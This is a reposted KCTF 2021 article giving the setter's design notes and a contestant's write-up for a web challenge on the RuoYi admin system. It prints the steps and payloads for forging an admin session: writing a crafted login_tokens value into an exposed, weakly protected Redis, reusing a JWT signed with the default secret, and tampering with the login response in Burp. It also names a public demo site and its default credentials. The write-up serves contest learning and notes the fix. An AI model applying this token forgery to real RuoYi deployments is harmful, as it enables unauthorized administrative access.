看雪·深信服 2021 KCTF 春季赛 | 第三题设计思路及解析
2021-05-14 18:59:00 Author: mp.weixin.qq.com(查看原文) 阅读量:142 收藏

本次大赛第三题《统一门派》今天中午12点已截止答题,本题共计 4126 人围观,17支战队成功拿下此题。 

让我们看看这17支战队分别都是谁吧~

xwwei战队仅用5353秒就完成本题的“首杀”tacesrever战队xtgo战队不甘落后,紧追其后! 

已经要开始第四题的征程啦,围观的小伙伴别再做潜水党啦,一起给我们的赛事“添把火”吧!让CTF之火“燃爆”这个春天。

看雪er们的你追我赶也是本赛事的乐趣之一!话不多说,一起来看看该赛题的设计思路和相关解析吧~

赛题点评

KuCha128:比赛第三题是道web题目,打开是个后台登录界面,需要攻击方绕过限制登录后台获得flag。选手通过伪造token,修改插入redis数据库, 来完成登录后台。题目难度不高,需要考验选手的发现漏洞的思维和对抗经验。

出题团队简介

第三题《统一门派》出题方 七星战队

赛题设计思路

打开界面可知是采用若依管理系统搭建的一个默认网站:
查看若依的官方文档可知,
https://doc.ruoyi.vip/ruoyi-vue/document/hjbs.html#%E5%87%86%E5%A4%87%E5%B7%A5%E4%BD%9C
该系统利用了springboot+mysql+redis搭建,通过阅读部署文档。
发现目标正好开启了redis的6379端口,并且可以未授权访问。
大概了解一下若依的登录逻辑可知,它的用户信息是缓存在redis中的,并且通过JWT进行认证。
自己搭建一个环境登录admin账号后通过redis的 keys *可得到一个:
猜测系统是通过这个缓存了用户的登录token,通过命令get "login_tokens:3109ec3f-6e84-48f5-bc1f-4f351d236333"
"{\"@type\":\"com.ruoyi.common.core.domain.model.LoginUser\",\"accountNonExpired\":true,\"accountNonLocked\":true,\"browser\":\"Chrome 9\",\"credentialsNonExpired\":true,\"enabled\":true,\"expireTime\":1690354819542,\"ipaddr\":\"117.175.182.182\",\"loginLocation\":\"XX XX\",\"loginTime\":1620354879542,\"os\":\"Windows 10\",\"password\":\"$2a$10$TbIq6QkLbP4MrjPaOJ2Y4.UqYYyChFC0HYrC7etAPI9iL1GOJ6ZLG\",\"permissions\":Set[\"*:*:*\"],\"token\":\"07aaf192-ca8f-4db7-a6a2-ee81dbf07d58\",\"user\":{\"admin\":true,\"avatar\":\"\",\"createBy\":\"admin\",\"createTime\":1620186031000,\"delFlag\":\"0\",\"dept\":{\"children\":[],\"deptId\":103,\"deptName\":\"\xe7\xa0\x94\xe5\x8f\x91\xe9\x83\xa8\xe9\x97\xa8\",\"leader\":\"\xe8\x8b\xa5\xe4\xbe\x9d\",\"orderNum\":\"1\",\"params\":{\"@type\":\"java.util.HashMap\"},\"parentId\":101,\"status\":\"0\"},\"deptId\":103,\"email\":\"[email protected]\",\"loginDate\":1620186031000,\"loginIp\":\"127.0.0.1\",\"nickName\":\"\xe8\x8b\xa5\xe4\xbe\x9d\",\"params\":{\"@type\":\"java.util.HashMap\"},\"password\":\"$2a$10$TbIq6QkLbP4MrjPaOJ2Y4.UqYYyChFC0HYrC7etAPI9iL1GOJ6ZLG\",\"phonenumber\":\"15888888888\",\"remark\":\"\xe7\xae\xa1\xe7\x90\x86\xe5\x91\x98\",\"roles\":[{\"admin\":true,\"dataScope\":\"1\",\"deptCheckStrictly\":false,\"flag\":false,\"menuCheckStrictly\":false,\"params\":{\"@type\":\"java.util.HashMap\"},\"roleId\":1,\"roleKey\":\"admin\",\"roleName\":\"\xe8\xb6\x85\xe7\xba\xa7\xe7\xae\xa1\xe7\x90\x86\xe5\x91\x98\",\"roleSort\":\"1\",\"status\":\"0\"}],\"sex\":\"1\",\"status\":\"0\",\"userId\":1,\"userName\":\"admin\"},\"username\":\"admin\"}"
这就是用户缓存的信息了。
然后查看我们登录后头为:
Admin-Token:eyJhbGciOiJIUzUxMiJ9.eyJsb2dpbl91c2VyX2tleSI6IjMxMDllYzNmLTZlODQtNDhmNS1iYzFmLTRmMzUxZDIzNjMzMyJ9.qKKRIGTkvIIaUnra_zr9D2iUYqfZPpPUGDnmX8A1OVJ-FDYFUrC-m5iNlg9JP0KSLfN2ho1U_SWnLXTnlRUAfQ
明显采用了JWT的加密方式,解出前面的段为:
{"alg":"HS512"}{"login_user_key":"3109ec3f-6e84-48f5-bc1f-4f351d236111"}
可以发现Admin-Token的头的login_user_key和redis里面的login_tokens是一样的。
结合着两个地方,我们应该就可以伪造任意登录用户了,方法是直接在redis执行set命令。
set login_tokens:3109ec3f-6e84-48f5-bc1f-4f351d236333 "{\"@type\":\"com.ruoyi.common.core.domain.model.LoginUser\",\"accountNonExpired\":true,\"accountNonLocked\":true,\"browser\":\"Chrome 9\",\"credentialsNonExpired\":true,\"enabled\":true,\"expireTime\":1690354819542,\"ipaddr\":\"117.175.182.182\",\"loginLocation\":\"XX XX\",\"loginTime\":1620354879542,\"os\":\"Windows 10\",\"password\":\"$2a$10$TbIq6QkLbP4MrjPaOJ2Y4.UqYYyChFC0HYrC7etAPI9iL1GOJ6ZLG\",\"permissions\":Set[\"*:*:*\"],\"token\":\"07aaf192-ca8f-4db7-a6a2-ee81dbf07d58\",\"user\":{\"admin\":true,\"avatar\":\"\",\"createBy\":\"admin\",\"createTime\":1620186031000,\"delFlag\":\"0\",\"dept\":{\"children\":[],\"deptId\":103,\"deptName\":\"\xe7\xa0\x94\xe5\x8f\x91\xe9\x83\xa8\xe9\x97\xa8\",\"leader\":\"\xe8\x8b\xa5\xe4\xbe\x9d\",\"orderNum\":\"1\",\"params\":{\"@type\":\"java.util.HashMap\"},\"parentId\":101,\"status\":\"0\"},\"deptId\":103,\"email\":\"[email protected]\",\"loginDate\":1620186031000,\"loginIp\":\"127.0.0.1\",\"nickName\":\"\xe8\x8b\xa5\xe4\xbe\x9d\",\"params\":{\"@type\":\"java.util.HashMap\"},\"password\":\"$2a$10$TbIq6QkLbP4MrjPaOJ2Y4.UqYYyChFC0HYrC7etAPI9iL1GOJ6ZLG\",\"phonenumber\":\"15888888888\",\"remark\":\"\xe7\xae\xa1\xe7\x90\x86\xe5\x91\x98\",\"roles\":[{\"admin\":true,\"dataScope\":\"1\",\"deptCheckStrictly\":false,\"flag\":false,\"menuCheckStrictly\":false,\"params\":{\"@type\":\"java.util.HashMap\"},\"roleId\":1,\"roleKey\":\"admin\",\"roleName\":\"\xe8\xb6\x85\xe7\xba\xa7\xe7\xae\xa1\xe7\x90\x86\xe5\x91\x98\",\"roleSort\":\"1\",\"status\":\"0\"}],\"sex\":\"1\",\"status\":\"0\",\"userId\":1,\"userName\":\"admin\"},\"username\":\"admin\"}"
我们猜测JWT的秘钥是默认秘钥因此我们可以直接使用我们自己搭建的环境的Admin-Token头。
登录后得到flag:2435_ert3_Wee

写在最后:这道题并非我刻意制造,若依作为一款使用很广的管理系统,本身的认证逻辑就是这样的,我只是让redis外网可以访问,而且设置了弱口令,其他没做修改,这在实战中还是可能遇到的,其实不只是若依,所有用了JWT的系统都可能用的这套逻辑,在实战中可以通过设置比较强的JWT秘钥解决这个问题,本题的问题是在于没有修改JWT的默认秘钥。
我们是通过观察推理的方法解决了这道题,实际上是不严谨的,但是对于比赛时间有限不失为最好的方法。有兴趣的同学可以下载若依的源代码看看,就知道整个事情的来龙去脉了,若依这一套框架体系用到了目前比较主流的开发框架,值得研究。

赛题解析

本赛题解析由看雪论坛 KuCha128 给出:

0x0 寻找可利用之处

扫描端口,发现redis数据库端口6379开启。

远程可以直接连接上。

 
数据库主要的有captcha_codes和login_tokens。

0x1 题目框架代码

利用搜索引擎不难找到若依框架项目的开源代码:
https://gitee.com/qi-xiaoxiao/qixiaoxiao
 
顺便还能找到演示地址:
http://vue.ruoyi.vip
 
演示地址可以用admin/admin123帐号登录。

0x2 分析login_tokens

redis数据库里的数据:
login_tokens:1794d721-4eb1-4a7e-af46-da6261bf1301 {    "@type":"com.ruoyi.common.core.domain.model.LoginUser",    "accountNonExpired":true,    "accountNonLocked":true,    "browser":"Chrome 9",    "credentialsNonExpired":true,    "enabled":true,    "expireTime":1680912666549,    "ipaddr":"127.0.0.1",    "loginLocation":"内网IP",    "loginTime":1620912726549,    "os":"Windows 10",    "password":"$2a$10$7JB720yubVSZvUI0rEqK/.VqGOZTH.ulu33dHOiBE8ByOhJIrdAu2",    "permissions":Set[        "*:*:*"    ],    "token":"1794d721-4eb1-4a7e-af46-da6261bf1301",    "user":{        "admin":true,        "avatar":"",        "createBy":"admin",        "createTime":1620902433000,        "delFlag":"0",        "dept":{            "children":[             ],            "deptId":103,            "deptName":"研发部门",            "leader":"若依",            "orderNum":"1",            "params":{                "@type":"java.util.HashMap"            },            "parentId":101,            "status":"0"        },        "deptId":103,        "email":"[email protected]",        "loginDate":1620902433000,        "loginIp":"127.0.0.1",        "nickName":"若依",        "params":{            "@type":"java.util.HashMap"        },        "password":"$2a$10$7JB720yubVSZvUI0rEqK/.VqGOZTH.ulu33dHOiBE8ByOhJIrdAu2",        "phonenumber":"15888888888",        "remark":"管理员",        "roles":[            {                "admin":true,                "dataScope":"1",                "deptCheckStrictly":false,                "flag":false,                "menuCheckStrictly":false,                "params":{                    "@type":"java.util.HashMap"                },                "roleId":1,                "roleKey":"admin",                "roleName":"超级管理员",                "roleSort":"1",                "status":"0"            }        ],        "sex":"1",        "status":"0",        "userId":1,        "userName":"admin"    },    "username":"admin"}
从中挑出几条关键的信息:
(1) 管理员帐号密码
"userName":"admin""password":"$2a$10$7JB720yubVSZvUI0rEqK/.VqGOZTH.ulu33dHOiBE8ByOhJIrdAu2"
userName是明文,password进行加密过了。

审阅开源代码,发现password使用的是Spring security中的BCrypt算法加密,计算hash不可逆。

曾一度想尝试爆破,最终放弃。
 
(2) tokenId  
"token":"1794d721-4eb1-4a7e-af46-da6261bf1301"
登录成功后response包里应该有tokenId,并且登录成功后的http访问应该都带着tokenId。

或许可以伪造一份假的token。

 
开干!
 
在演示地址中登录成功后抓http访问的包。
GET /prod-api/getRouters HTTP/1.1Host: vue.ruoyi.vipAccept: application/json, text/plain, */*Authorization: Bearer eyJhbGciOiJIUzUxMiJ9.eyJsb2dpbl91c2VyX2tleSI6IjdiMjQ3YzFiLWVmNmYtNGE1MS05OTkxLTc5ODk0NDE5ZjQ4ZCJ9.c9z5AI3a0EpPx7bCStIq2JAsCiZDIKyt0PEE2YVrwyLDUop2N-gxoJKJquCrBJqQY1-DotWG-wKpPIIPMbIGtQUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.25 Safari/537.36 Core/1.70.3868.400 QQBrowser/10.8.4394.400Referer: http://vue.ruoyi.vip/login?redirect=%2FindexAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: Admin-Token=eyJhbGciOiJIUzUxMiJ9.eyJsb2dpbl91c2VyX2tleSI6IjdiMjQ3YzFiLWVmNmYtNGE1MS05OTkxLTc5ODk0NDE5ZjQ4ZCJ9.c9z5AI3a0EpPx7bCStIq2JAsCiZDIKyt0PEE2YVrwyLDUop2N-gxoJKJquCrBJqQY1-DotWG-wKpPIIPMbIGtQConnection: close
Cookie:Admin-Token,Authorization都有出现token。

测试删掉cookie访问正常,说明服务器验证的是Authorization里的token。

 
Authorization内容和redis数据库里的tokenId好像不太一样。

审阅开源代码得出Authorization由TOKEN_PREFIX和token组成。
/** * 令牌前缀 */public static final String TOKEN_PREFIX = "Bearer ";
token由io.jsonwebtoken.Jwts生成。

0x3 JSON Web Token(JWT)

1. JWT消息构成

一个token分3部分,按顺序为:

*头部(header)

*其为载荷(payload)

*签证(signature)

由三部分生成token。

3部分之间用“.”号做分隔。例如:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

2. 头部和playload

头部声明类型是jwt,加密的算法是HMAC SHA256。

playload存放数据,tokenId就是存在这里。

3. 签名signature

jwt的第三部分是一个签证信息,这个签证信息算法如下:

base64UrlEncode(header) + "." + base64UrlEncode(payload)+your-256-bit-secret

这个部分需要base64加密后的header和base64加密后的payload使用.连接组成的字符串,然后通过header中声明的加密方式进行加盐secret组合加密,然后就构成了jwt的第三部分。

4. 如何利用

伪造tokenId的话,需要构造完整三部分的jwt消息。

因为没有自己搭建环境(主要是懒得敲java代码- -!),这里直接在演示地址正常登录抓包拿下一份jwt消息:
eyJhbGciOiJIUzUxMiJ9.eyJsb2dpbl91c2VyX2tleSI6IjIyYmRlZDJmLTNiOTYtNDNlYi1hNmMxLTMzMmExNTY1ZDM2OSJ9.IK5aHWqQDpT5HxNQ_L8F0C_DkCGxNXzzS5Jl0q3iAnEJybQL8cWbPiaaJodjMPkLZEKXhDhNdZFg2lKsaaXsWg {"login_user_key":"22bded2f-3b96-43eb-a6c1-332a1565d369"}

0x4 开始攻击

在数据库里的login_tokens增加一个数据,对之前存在的一个login_token做修改,把key的名字和value里的token都要改成自己手上的"22bded2f-3b96-43eb-a6c1-332a1565d369"。
添加以后, 使用burp suite带着Authorization协议头访问/dev-api/getRouters,成功的返回了数据。
 
接下来就是要登录进后台了。
 
在登录界面,随意输入帐号密码和验证码进行登录,使用burp suite修改response数据:(返回登录成功结果和伪造的token)
HTTP/1.1 200Server: nginxDate: Thu, 13 May 2021 17:05:58 GMTContent-Type: application/json;charset=UTF-8Connection: closeVary: OriginVary: Access-Control-Request-MethodVary: Access-Control-Request-HeadersX-Content-Type-Options: nosniffX-XSS-Protection: 1; mode=blockCache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: 0Content-Length: 228 {"msg":"操作成功","code":200,"token":"eyJhbGciOiJIUzUxMiJ9.eyJsb2dpbl91c2VyX2tleSI6IjIyYmRlZDJmLTNiOTYtNDNlYi1hNmMxLTMzMmExNTY1ZDM2OSJ9.IK5aHWqQDpT5HxNQ_L8F0C_DkCGxNXzzS5Jl0q3iAnEJybQL8cWbPiaaJodjMPkLZEKXhDhNdZFg2lKsaaXsWg"}
成功登录进后台!
CTF flag:2345_ert3_Wee

0x5 End

经过两天时间,连滚带爬地学习了挺多web安全的知识,自我感觉收获真的很大。

感谢好友Z的指导和一起学习尝试。
 

参考资料


1.JSON Web Token(JWT)使用步骤说明:

https://www.cnblogs.com/renhui/p/10194681.html

2.Spring security中的BCryptPasswordEncoder方法对密码进行加密与密码匹配:
https://www.cnblogs.com/Amywangqing/p/13640838.html

往期解析

1.看雪·深信服 2021 KCTF 春季赛 | 第二题设计思路及解析

主办方

看雪CTF(简称KCTF)是圈内知名度最高的技术竞技之一,从原CrackMe攻防大赛中发展而来,采取线上PK的方式,规则设置严格周全,题目涵盖Windows、Android、iOS、Pwn、智能设备、Web等众多领域。
看雪CTF比赛历史悠久、影响广泛。自2007年以来,看雪已经举办十多个比赛,与包括金山、360、腾讯、阿里等在内的各大公司共同合作举办赛事。比赛吸引了国内一大批安全人士的广泛关注,历年来CTF中人才辈出,汇聚了来自国内众多安全人才,高手对决,精彩异常,成为安全圈的一次比赛盛宴,突出了看雪论坛复合型人才多的优势,成为企业挑选人才的重要途径,在社会安全事业发展中产生了巨大的影响力。
合作伙伴
深信服科技股份有限公司成立于2000年,是一家专注于企业级安全、云计算及基础架构的产品和服务供应商,致力于让用户的IT更简单、更安全、更有价值。目前深信服在全球设有50余个分支机构,员工规模超过7000名。

第四题正在火热进行中,

👆还在等什么,快来参赛吧!

- End -
公众号ID:ikanxue
官方微博:看雪安全
商务合作:[email protected]

球分享

球点赞

球在看

“阅读原文一起来充电吧!

文章来源: http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458384926&idx=1&sn=8e9de9e9179e87cdfb4037cd8f6048f4&chksm=b180ca9486f743826352e6fa02e1cf626fa6ba4e90961ffa092f460f5fa1b6ed73f1ee783392#rd
如有侵权请联系:admin#unsafe.sh